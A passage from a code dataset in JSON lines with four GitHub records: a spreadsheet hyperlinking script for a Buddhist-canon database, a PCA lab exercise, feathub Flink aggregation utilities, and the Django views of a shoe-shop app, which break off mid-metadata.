df[\"sequences\"][0][\"canvases\"]\nfor i in range(len(canvases)):\n    c = canvases[i]\n    res = c[\"images\"][0][\"resource\"][\"@id\"]\n    if \"p.\" in res:\n        p = res.split(\"p.\")[1].split(\".\")[0]\n        indexMap[p] = i + 1\n\n'''\nfor p in indexMap:\n    print(p, indexMap[p], int(p) - int(indexMap[p]))\n'''\n\nhyperlink = Font(underline='single', color='0563C1')\n\ndef read_excel(path):\n    # df = pd.read_excel(path, sheet_name=0, header=None, index_col=None, engine=\"openpyxl\")\n\n    wb = load_workbook(path)\n    ws = wb.active\n\n    r_count = ws.max_row\n    c_count = ws.max_column\n\n    map = {}\n\n    for i in range(0, c_count):\n        label = ws.cell(row=1+1, column=i+1).value\n        map[i] = label\n\n    for j in range(2, r_count):\n        id = ws.cell(row=j+1, column=0+1).value\n\n        if id == \"\" or id == None:\n            continue\n\n        経典番号 =  ws.cell(row=j+1, column=1+1).value\n        枝番 = ws.cell(row=j+1, column=9+1).value\n        if 枝番 == None:\n            枝番 = \"\"\n\n        e1 = ws.cell(row=j+1, column=8+1).value if ws.cell(row=j+1, column=8+1).value != None else ws.cell(row=j+1, column=8+1).value # \"\"\n        e2 = ws.cell(row=j+1, column=10+1).value if ws.cell(row=j+1, column=10+1).value != None else ws.cell(row=j+1, column=10+1).value # \"\"\n        e3 = ws.cell(row=j+1, column=11+1).value if ws.cell(row=j+1, column=11+1).value != None else ws.cell(row=j+1, column=11+1).value # \"\"\n        e4 = ws.cell(row=j+1, column=12+1).value if ws.cell(row=j+1, column=12+1).value != None else ws.cell(row=j+1, column=12+1).value # \"\"\n        e5 = ws.cell(row=j+1, column=13+1).value if ws.cell(row=j+1, column=13+1).value != None else ws.cell(row=j+1, column=13+1).value # \"\"\n\n        uri_sat = \"https://21dzk.l.u-tokyo.ac.jp/SAT2018/\"+e1+枝番+\"_.\"+str(e2).zfill(2)+\".\"+str(e3).zfill(4)+e4+str(e5).zfill(2)+\".html\"\n\n        title = ws.cell(row=j+1, column=3+1).value\n        \n        ws.cell(row=j+1, column=3+1).value = '=HYPERLINK(\"{}\", \"{}\")'.format(uri_sat, title)\n        ws.cell(row=j+1, column=3+1).font = hyperlink\n        \n        num1 = ws.cell(row=j+1, column=114+1).value #df.iloc[j, 114]\n        if num1 != \"\" and num1 != None:\n            ws.cell(row=j+1, column=114+1).value = '=HYPERLINK(\"https://taishozo.github.io/u-renja/search/?main[refinementList][通番]={}\", \"{}\")'.format(num1, num1)\n            ws.cell(row=j+1, column=114+1).font = hyperlink\n            \n            # df.iloc[j, 114] = \"[{}]({})\".format(num1, num1)\n\n        num2 = ws.cell(row=j+1, column=118+1).value #df.iloc[j, 114]\n        if num2 != \"\" and num2 != None:\n            ws.cell(row=j+1, column=118+1).value = '=HYPERLINK(\"https://taishozo.github.io/u-renja/search/?main[refinementList][通番]={}\", \"{}\")'.format(str(num2).zfill(4), num2)\n            ws.cell(row=j+1, column=118+1).font = hyperlink\n\n        kando = ws.cell(row=j+1, column=122+1).value #df.iloc[j, 114]\n        if kando != \"\" and kando != None:\n            pos = int(kando) - 152\n            ws.cell(row=j+1, column=122+1).value = '=HYPERLINK(\"http://codh.rois.ac.jp/software/iiif-curation-viewer/demo/?manifest=https://taishozo.github.io/db/iiif/kandomokuroku/manifest.json&pos={}\", \"{}\")'.format(pos, int(kando))\n            ws.cell(row=j+1, column=122+1).font = hyperlink\n        \n        # 画像リンク\n        for c in range(0, 3):\n\n            \n\n            folder1 = ws.cell(row=j+1, column=127+1 + 4 * c).value #df.iloc[j, 114]\n            \n            \n            if folder1 != \"\" and folder1 != None:\n\n                x = ws.cell(row=j+1, column=128+1 + 4 * c).value\n                y = ws.cell(row=j+1, column=129+1 + 4 * c).value\n\n                # print(folder1, x, y)\n\n                uuid1 = folder1 + \"_\" + str(x).zfill(4) + \"_\" + str(y).zfill(4)\n                \n                num1 = int(num1)\n\n                num = num1\n\n                if uuid1 == \"u-renja1524-1525_0003_0005\":\n                    num += 1\n\n                if uuid1 == \"u-renja1663-1668_0015_0017\":\n                    num += 1\n\n                if uuid1 == \"u-renja1663-1668_0017_0019\":\n                    num += 2\n\n                if num in images:\n\n                    value1 = \"\"\n                        \n                    arr = images[num]\n\n                    for a in arr:\n                        if uuid1 == a[\"identifier\"]:\n                            value1 = a[\"id\"]\n\n                    if value1 == \"\":\n                        print(\"missing\", uuid1, \"value1\", value1, \"num\", num)\n                    else:\n                        ws.cell(row=j+1, column=126+1 + 4 * c).value = '=HYPERLINK(\"http://codh.rois.ac.jp/software/iiif-curation-viewer/demo/?manifest={}\", \"{}\")'.format(value1, ws.cell(row=j+1, column=126+1 + 4 * c).value)\n                        ws.cell(row=j+1, column=126+1 + 4 * c).font = hyperlink\n                        # df.iloc[j, 126] = \"[{}]({})\".format(df.iloc[j, 126], value1)\n\n    wb.save('../static/metadata/data.xlsx')\n\n\nwith open(\"config.json\") as f:\n    config = json.load(f)\n\nfilename = config[\"filename\"]\n\npath = \"data/\" + filename\n\n# data1 = read_excel(path)\nread_excel(path)", "repo_name": "nakamura196/db2", "sub_path": "batch/020_create_excel.py", "file_name": "020_create_excel.py", "file_ext": "py", "file_size_in_byte": 6265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "json.load", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 57, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 74, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 79, "usage_type": "call"}, {"api_name": "json.load", "line_number": 184, "usage_type": "call"}]}
{"seq_id": "25850640910", "text": "import numpy as np\nimport math\nfrom matplotlib import pyplot as plt\nfrom sklearn.preprocessing import normalize, StandardScaler\nfrom sklearn import datasets\n\n\ndef main2d():\n\tmeans = (0, 0)\n\tcov = np.array([[1.9, 1.2], [1.2, 1.9]])\n\tA = np.random.multivariate_normal(means, cov, 100).transpose()\n\tC = normalize(A)\n\teig_value, eig_vectors = np.linalg.eig(np.cov(C))\n\tZ = eig_vectors.T.dot(C)\n\tprint(np.cov(Z))\n\tfig = plt.figure(1)\n\tax = fig.add_subplot()\n\tax.scatter(C[0], C[1], c='b', marker='.')\n\tlen0 = math.sqrt(math.fabs(eig_value[0]))\n\tlen1 = math.sqrt(math.fabs(eig_value[1]))\n\tt = np.linspace(0, 1, 100)\n\tx_v = t * eig_vectors[0][0] * len0\n\ty_v = t * eig_vectors[1][0] * len0\n\tax.plot(x_v, y_v, linewidth=5, c='r')\n\tx_v = t * eig_vectors[0][1] * len1\n\ty_v = t * eig_vectors[1][1] * len1\n\tax.plot(x_v, y_v, linewidth=5, c='r')\n\tax.set_xlabel('x')\n\tax.set_ylabel('y')\n\tax.set_title('данные и собсвенные вектора матрицы ковариации')\n\tplt.show()\n\n\ndef main3d():\n\tmeans = (0, 0, 0)\n\tcov = np.array([[7, 5, 3], [5, 9, 3], [3, 3, 5]])\n\tA = np.random.multivariate_normal(means, cov, 100).transpose()\n\tC = normalize(A)\n\tprint(np.cov(C))\n\tprint(np.mean(C, axis=1))\n\teig_value, eig_vectors = np.linalg.eig(np.cov(C))\n\tZ = eig_vectors.T.dot(C)\n\tprint(np.cov(Z))\n\tfig = plt.figure(1)\n\tax = fig.add_subplot(111, projection='3d')\n\tax.scatter(C[0], C[1], C[2], c='b', marker='.')\n\tlen0 = math.sqrt(math.fabs(eig_value[0]))\n\tlen1 = math.sqrt(math.fabs(eig_value[1]))\n\tlen2 = math.sqrt(math.fabs(eig_value[2]))\n\tt = np.linspace(0, 1, 100)\n\tx_ev = t * eig_vectors[0][0] * len0\n\ty_ev = t * eig_vectors[1][0] * len0\n\tz_ev = t * eig_vectors[2][0] * len0\n\tax.plot(x_ev, y_ev, z_ev, linewidth=1, c='r')\n\tx_ev = t * eig_vectors[0][1] * len1\n\ty_ev = t * eig_vectors[1][1] * len1\n\tz_ev = t * eig_vectors[2][1] * len1\n\tax.plot(x_ev, y_ev, z_ev, linewidth=1, c='r')\n\tx_ev = t * eig_vectors[0][2] * len2\n\ty_ev = t * eig_vectors[1][2] * len2\n\tz_ev = t * eig_vectors[2][2] * len2\n\tax.plot(x_ev, y_ev, z_ev, linewidth=1, c='r')\n\tax.set_xlabel('x')\n\tax.set_ylabel('y')\n\tax.set_zlabel('z')\n\tax.set_title('данные и собсвенные вектора матрицы ковариации')\n\tplt.show()\n\n\ndef german_process():\n\tn = 1000\n\tp = 24\n\tmatrix = np.loadtxt('../data/german.data-numeric')\n\tcols = [i for i in range(p)]\n\tclasses = []\n\tcol_i = 0\n\tA = np.zeros((p, n))\n\tfor i in range(n):\n\t\tfor j in range(p):\n\t\t\tA[j][col_i] = matrix[i][cols[j]]\n\t\tcol_i += 1\n\t\tclasses.append(matrix[i][p])\n\tA = StandardScaler().fit_transform(A.transpose()).transpose()\n\teig_value, eig_vectors = np.linalg.eig(np.cov(A))\n\tZ = eig_vectors.T.dot(A)\n\tprint(np.cov(Z))\n\tfig = plt.figure(2)\n\tax = fig.add_subplot(111, projection='3d')\n\tcolors = ['r', 'b']\n\tcov_x = np.cov(A)\n\tcov_z = np.cov(Z)\n\td_x = []\n\td_z = []\n\tfor i in range(p):\n\t\td_x.append(cov_x[i][i])\n\t\td_z.append(cov_z[i][i])\n\tfor i in range(n):\n\t\tax.scatter(Z[0][i], Z[1][i], Z[2][i], c=colors[int(classes[i] - 1)], marker='.')\n\t[print(\"{:.5f}\".format(f), end=' ') for f in sorted(d_x, key=lambda x: -x)]\n\tprint()\n\t[print(\"{:.5f}\".format(f), end=' ') for f in sorted(d_z, key=lambda x: -x)]\n\tprint()\n\tprint(sum(d_z))\n\tplt.title('данные german')\n\tplt.show()\n\n\ndef iris_process():\n\tiris = datasets.load_iris()\n\tA = StandardScaler().fit_transform(X=np.array(iris.data[:, :])).transpose()\n\tclasses = iris.target\n\teig_value, eig_vectors = np.linalg.eig(np.cov(A))\n\tZ = eig_vectors.T.dot(A)\n\tpoints = Z.transpose()\n\n\tprint(\"A:\")\n\tprint(np.cov(A))\n\tprint(np.cov(Z))\n\tmtr = np.identity(4)\n\tfor i in range(4):\n\t\tmtr[i][i] = math.sqrt(eig_value[i])\n\tprint(eig_vectors.dot(mtr))\n\n\tcolors = ['r', 'g', 'b']\n\tmarkers = ['*', 'o', '^']\n\tfor i in range(points.shape[0]):\n\t\tx = points[i]\n\t\tc = classes[i]\n\t\tplt.plot(x[0], x[1], f'{colors[c]}{markers[c]}')\n\tplt.title('данные Iris')\n\tplt.show()\n\n\nif __name__ == \"__main__\":\n\tmain2d()\n\tmain3d()\n\tgerman_process()\n\tiris_process()\n", "repo_name": "SelyankinFyodor/theory-of-economic-decision-making-labs", "sub_path": "lab2/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 3933, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "numpy.array", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.cov", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 19, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 19, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 20, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.cov", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 47, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 47, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 48, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 48, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 49, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 77, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.cov", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "numpy.cov", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "sklearn.datasets.load_iris", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 109, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.cov", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.identity", "line_number": 119, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}]}
{"seq_id": "7191805671", "text": "from datetime import timedelta\nfrom typing import Any, Tuple, Optional\n\nfrom pyflink.table.types import DataType, DataTypes\n\nfrom feathub.common.exceptions import FeathubException\nfrom feathub.feature_views.feature import Feature\nfrom feathub.feature_views.transforms.agg_func import AggFunc\nfrom feathub.feature_views.transforms.over_window_transform import OverWindowTransform\nfrom feathub.feature_views.transforms.sliding_window_transform import (\n    SlidingWindowTransform,\n)\nfrom feathub.processors.flink.flink_types_utils import to_flink_type\nfrom feathub.processors.flink.table_builder.flink_sql_expr_utils import (\n    to_flink_sql_expr,\n)\n\n\nclass AggregationFieldDescriptor:\n    \"\"\"\n    Descriptor of a field computed by aggregation.\n    \"\"\"\n\n    def __init__(\n        self,\n        field_name: str,\n        field_data_type: DataType,\n        expr: str,\n        agg_func: AggFunc,\n        window_size: timedelta,\n        limit: Optional[int],\n        filter_expr: Optional[str],\n    ) -> None:\n        self.field_name = field_name\n        self.field_data_type = field_data_type\n        self.expr = expr\n        self.agg_func = agg_func\n        self.window_size = window_size\n        self.limit = limit\n        self.filter_expr = filter_expr\n\n    @staticmethod\n    def from_feature(feature: Feature) -> \"AggregationFieldDescriptor\":\n        transform = feature.transform\n        if not (\n            isinstance(transform, SlidingWindowTransform)\n            or isinstance(transform, OverWindowTransform)\n        ):\n            raise FeathubException(\n                f\"Cannot convert {feature} to AggregationFieldDescriptor.\"\n            )\n        filter_expr = (\n            to_flink_sql_expr(transform.filter_expr)\n            if transform.filter_expr is not None\n            else None\n        )\n        return AggregationFieldDescriptor(\n            feature.name,\n            to_flink_type(feature.dtype),\n            to_flink_sql_expr(transform.expr),\n            transform.agg_func,\n            transform.window_size,\n            transform.limit,\n            filter_expr,\n        )\n\n\nINTEGER_TYPES = {\n    type(DataTypes.TINYINT()),\n    type(DataTypes.SMALLINT()),\n    type(DataTypes.INT()),\n    type(DataTypes.BIGINT()),\n}\n\nFLOAT_TYPES = {type(DataTypes.FLOAT()), type(DataTypes.DOUBLE())}\n\n\n# TODO: remove this method as it's function can be supported by\n#  Java's AggFunc.getResult(AggFunc.createAccumulator()).\ndef get_default_value_and_type(\n    agg_descriptor: AggregationFieldDescriptor,\n) -> Tuple[Any, DataType]:\n    default_type = agg_descriptor.field_data_type\n    if (\n        agg_descriptor.agg_func == AggFunc.COUNT\n        or agg_descriptor.agg_func == AggFunc.SUM\n    ):\n        if type(agg_descriptor.field_data_type) in INTEGER_TYPES:\n            default_value: Any = 0\n        elif type(agg_descriptor.field_data_type) in FLOAT_TYPES:\n            default_value = 0.0\n        else:\n            raise FeathubException(\n                f\"Unsupported DataType of AggFunc COUNT or SUM: \"\n                f\"{type(agg_descriptor.field_data_type)}\"\n            )\n    else:\n        # TODO: Change the default value of collection-typed agg functions\n        #  (COLLECT_LIST, VALUE_COUNTS, etc) to empty collection after\n        #  FLINK-32494 is resolved\n        default_value = None\n    return (\n        default_value,\n        default_type,\n    )\n", "repo_name": "alibaba/feathub", "sub_path": "python/feathub/processors/flink/table_builder/aggregation_utils.py", "file_name": "aggregation_utils.py", "file_ext": "py", "file_size_in_byte": 3372, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 266, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyflink.table.types.DataType", "line_number": 27, "usage_type": "name"}, {"api_name": "feathub.feature_views.transforms.agg_func.AggFunc", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 32, "usage_type": "name"}, {"api_name": "feathub.feature_views.feature.Feature", "line_number": 43, "usage_type": "name"}, {"api_name": "feathub.feature_views.transforms.sliding_window_transform.SlidingWindowTransform", "line_number": 46, "usage_type": "argument"}, {"api_name": "feathub.feature_views.transforms.over_window_transform.OverWindowTransform", "line_number": 47, "usage_type": "argument"}, {"api_name": "feathub.common.exceptions.FeathubException", "line_number": 49, "usage_type": "call"}, {"api_name": "feathub.processors.flink.table_builder.flink_sql_expr_utils.to_flink_sql_expr", "line_number": 53, "usage_type": "call"}, {"api_name": "feathub.processors.flink.flink_types_utils.to_flink_type", "line_number": 59, "usage_type": "call"}, {"api_name": "feathub.processors.flink.table_builder.flink_sql_expr_utils.to_flink_sql_expr", "line_number": 60, "usage_type": "call"}, {"api_name": "pyflink.table.types.DataTypes.TINYINT", "line_number": 69, "usage_type": "call"}, {"api_name": "pyflink.table.types.DataTypes", "line_number": 69, "usage_type": "name"}, {"api_name": "pyflink.table.types.DataTypes.SMALLINT", "line_number": 70, "usage_type": "call"}, {"api_name": "pyflink.table.types.DataTypes", "line_number": 70, "usage_type": "name"}, {"api_name": "pyflink.table.types.DataTypes.INT", "line_number": 71, "usage_type": "call"}, {"api_name": "pyflink.table.types.DataTypes", "line_number": 71, "usage_type": "name"}, {"api_name": "pyflink.table.types.DataTypes.BIGINT", "line_number": 72, "usage_type": "call"}, {"api_name": "pyflink.table.types.DataTypes", "line_number": 72, "usage_type": "name"}, {"api_name": "pyflink.table.types.DataTypes.FLOAT", "line_number": 75, "usage_type": "call"}, {"api_name": "pyflink.table.types.DataTypes", "line_number": 75, "usage_type": "name"}, {"api_name": "pyflink.table.types.DataTypes.DOUBLE", "line_number": 75, "usage_type": "call"}, {"api_name": "feathub.feature_views.transforms.agg_func.AggFunc.COUNT", "line_number": 85, "usage_type": "attribute"}, {"api_name": "feathub.feature_views.transforms.agg_func.AggFunc", "line_number": 85, "usage_type": "name"}, {"api_name": "feathub.feature_views.transforms.agg_func.AggFunc.SUM", "line_number": 86, "usage_type": "attribute"}, {"api_name": "feathub.feature_views.transforms.agg_func.AggFunc", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 89, "usage_type": "name"}, {"api_name": "feathub.common.exceptions.FeathubException", "line_number": 93, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 82, "usage_type": "name"}, {"api_name": "pyflink.table.types.DataType", "line_number": 82, "usage_type": "name"}]}
{"seq_id": "12223967236", "text": "from django.http import JsonResponse\nfrom django.shortcuts import redirect, render\nfrom Shop.form import CustomUserForm,BrandForm,ProductForm\nfrom . models import *\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate,login,logout\nimport json\nfrom django.http import HttpResponseRedirect\nfrom django.views import View\n\ndef home(request):\n    products=Product.objects.filter(trending=1)\n    return render(request,\"Shop/index.html\",{\"products\":products})\n\ndef userhome(request):\n    products=Product.objects.filter(trending=1)\n    return render(request,\"Shop/userindex.html\",{\"products\":products})\n\n\ndef register(request):\n    form=CustomUserForm()\n    if request.method=='POST':\n        form=CustomUserForm(request.POST)\n        if form.is_valid():\n            form.save()\n            messages.success(request,\"Registration success ,You can Login now..\")\n            return redirect('/login')\n        else:\n            messages.error(request,\"form is not valid\")\n    else:\n        return render(request,\"Shop/register.html\",{'form':form})\n\n\n\n\n\ndef login_page(request):\n    if request.user.is_authenticated:\n        return redirect(\"/userhome\")\n    else:\n        if request.method=='POST':\n            name=request.POST.get('username')\n            pwd=request.POST.get('password')\n            eml=request.POST.get('email')\n            user=authenticate(request,username=name,password=pwd,email=eml)\n            if user is not None:\n                login(request,user)\n                messages.success(request,\"Logged in Successfully\")\n                return redirect(\"/userhome\")\n            else:\n                messages.error(request,\"Invalid User Name or Password or email\")\n                return redirect('/login')\n        else:\n            return render(request,\"Shop/login.html\")\n\n\n\ndef collections(request):\n    brand=Brand.objects.filter(status=0)\n    return render(request,\"Shop/collections.html\",{\"brand\":brand})\n\n\ndef collectionsview(request,name):\n    if(Brand.objects.filter(name=name,status=0)):\n        products=Product.objects.filter(brand__name=name)\n        return render(request, \"Shop/products/index.html\",{\"products\":products,\"brand_name\":name})\n    else:\n        messages.warning(request,\"No such Brand Found\")\n        return redirect('/collections')\n\n\n\ndef product_details(request,bname,pname):\n    if(Brand.objects.filter(name=bname,status=0)):\n        if(Product.objects.filter(name=pname,status=0)):\n            products=Product.objects.filter(name=pname,status=0).first()\n            return render(request,\"shop/products/product_details.html\",{\"products\":products})\n        else:\n            messages.error(request,\"no such Product Found\")\n            return redirect('/collections')\n    else:\n        messages.error(request,\"No such Brand Found\")\n        return redirect('/collections')\n\n\n\n\n\ndef cart_page(request):\n    if request.user.is_authenticated:\n        cart=Cart.objects.filter(user=request.user)\n        return render(request,\"Shop/cart.html\",{\"cart\":cart})\n    else:\n        return redirect(\"/login\")\n\n\n\n\n\ndef add_to_cart(request):\n    if request.headers.get('x-requested-with')=='XMLHttpRequest':\n       if request.user.is_authenticated:\n        data=json.load(request)\n        product_qty=data['product_qty']\n        product_id=data['pid']\n        product_status=Product.objects.get(id=product_id)\n        if product_status:\n            if Cart.objects.filter(user=request.user.id,product_id=product_id):\n                return JsonResponse({'status':'Product Already in Cart'},status=200)\n            else:\n                if product_status.quantity>=product_qty:\n                    Cart.objects.create(user=request.user,product_id=product_id,product_qty=product_qty)\n                    return JsonResponse({'status':'Product Added to Cart'},status=200)\n                else:\n                    return JsonResponse({'status':'Product Stock Not Available'},status=200)\n\n       else:\n         return JsonResponse({'status':'Login to Add a product in Cart'}, status=200)\n    else:\n        return JsonResponse({'status':'Invalid Access'}, status=200)\n\n\n\n\ndef remove_cart(request,cid):\n    cartitem=Cart.objects.get(id=cid)\n    cartitem.delete()\n    return redirect(\"/cart\")\n\nclass checkout(View):\n    def get(self,request):\n        return render(request,'Shop/checkout.html',locals())\n\n\n\n\ndef fav_page(request):\n    if request.headers.get('x-requested-with')=='XMLHttpRequest':\n       if request.user.is_authenticated:\n        data=json.load(request)\n        product_id=data['pid']\n        product_status=Product.objects.get(id=product_id)\n        if product_status:\n            if Favourite.objects.filter(user=request.user,product_id=product_id):\n                return JsonResponse({'status':'Product Already in Favourite'},status=200)\n            else:\n                Favourite.objects.create(user=request.user, product_id=product_id)\n                return JsonResponse({'status': 'Product Added to Favourite'},status=200)\n\n       else:\n         return JsonResponse({'status':'Login to Add a product in Favourite'},status=200)\n    else:\n        return JsonResponse({'status':'Invalid Access'},status=200)\n\n\n\n\n\n\ndef favviewpage(request):\n    if request.user.is_authenticated:\n        fav=Favourite.objects.filter(user=request.user)\n        return render(request,\"Shop/fav.html\",{\"fav\":fav})\n    else:\n        return redirect(\"/login\")\n\n\n\n\ndef remove_fav(request,fid):\n    item=Favourite.objects.get(id=fid)\n    item.delete()\n    return redirect(\"/favviewpage\")\n\n\n\n\n\n\n\ndef logout_page(request):\n    if request.user.is_authenticated:\n        logout(request)\n        messages.success(request,\"Logged out successfully\")\n    return redirect(\"/home\")\n\n\ndef admin_page(request):\n\n    return render(request,\"front/index.html\")\n\n\ndef my_login(request):\n    if request.user.is_authenticated:\n        return redirect(\"/admin_page\")\n    else:\n        if request.method=='POST':\n            name=request.POST.get('username')\n            pwd=request.POST.get('password')\n\n            user=authenticate(request,username=name,password=pwd)\n            if user is not None:\n                login(request,user)\n                messages.success(request,\"Logged in Successfully\")\n                return redirect(\"/admin_page\")\n            else:\n                messages.error(request,\"Invalid User Name or Password\")\n                return redirect('/my_login')\n        else:\n            return render(request,'front/login.html')\n\n\ndef admin_logout(request):\n    if request.user.is_authenticated:\n        logout(request)\n        messages.success(request,\"Logged out successfully\")\n    return redirect(\"/home\")\n\n\ndef all_brands(request):\n    brands_list=Brand.objects.all()\n    return render(request,'front/edit_brands.html',{'brands_list':brands_list})\n\ndef add_brands(request):\n    submitted=False\n    if request.method==\"POST\":\n        form=BrandForm(request.POST,request.FILES)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect('add_brands?submitted=True')\n    else:\n        form=BrandForm\n        if 'submitted' in request.GET:\n            submitted=True\n\n        return render(request,'front/add_brands.html',{'form':form,'submitted':submitted})\n\n\n\ndef all_products(request):\n    products_list=Product.objects.all()\n    return render(request,'front/edit_products.html',{'products_list':products_list})\n\n\n\ndef add_products(request):\n    submitted = False\n    if request.method == \"POST\":\n        form=ProductForm(request.POST,request.FILES)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect('/add_products?submitted=True')\n    else:\n        form=ProductForm\n        if 'submitted' in request.GET:\n            submitted = True\n\n    return render(request,'front/add_products.html',{'form':form,'submitted':submitted})\n\ndef delete_brands(request,bid):\n    brands=Brand.objects.get(id=bid)\n    brands.delete()\n    return redirect('/brands')\n\n\ndef delete_products(request,pid):\n    products=Product.objects.get(id=pid)\n    products.delete()\n    return redirect('/products')\n\n", "repo_name": "Nihalamujee/shoe_shopping_app", "sub_path": "Shop/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 13, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "Shop.form.CustomUserForm", "line_number": 21, "usage_type": "call"}, {"api_name": "Shop.form.CustomUserForm", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 27, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 29, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 39, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 47, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 48, "usage_type": "call"}, {"api_name": 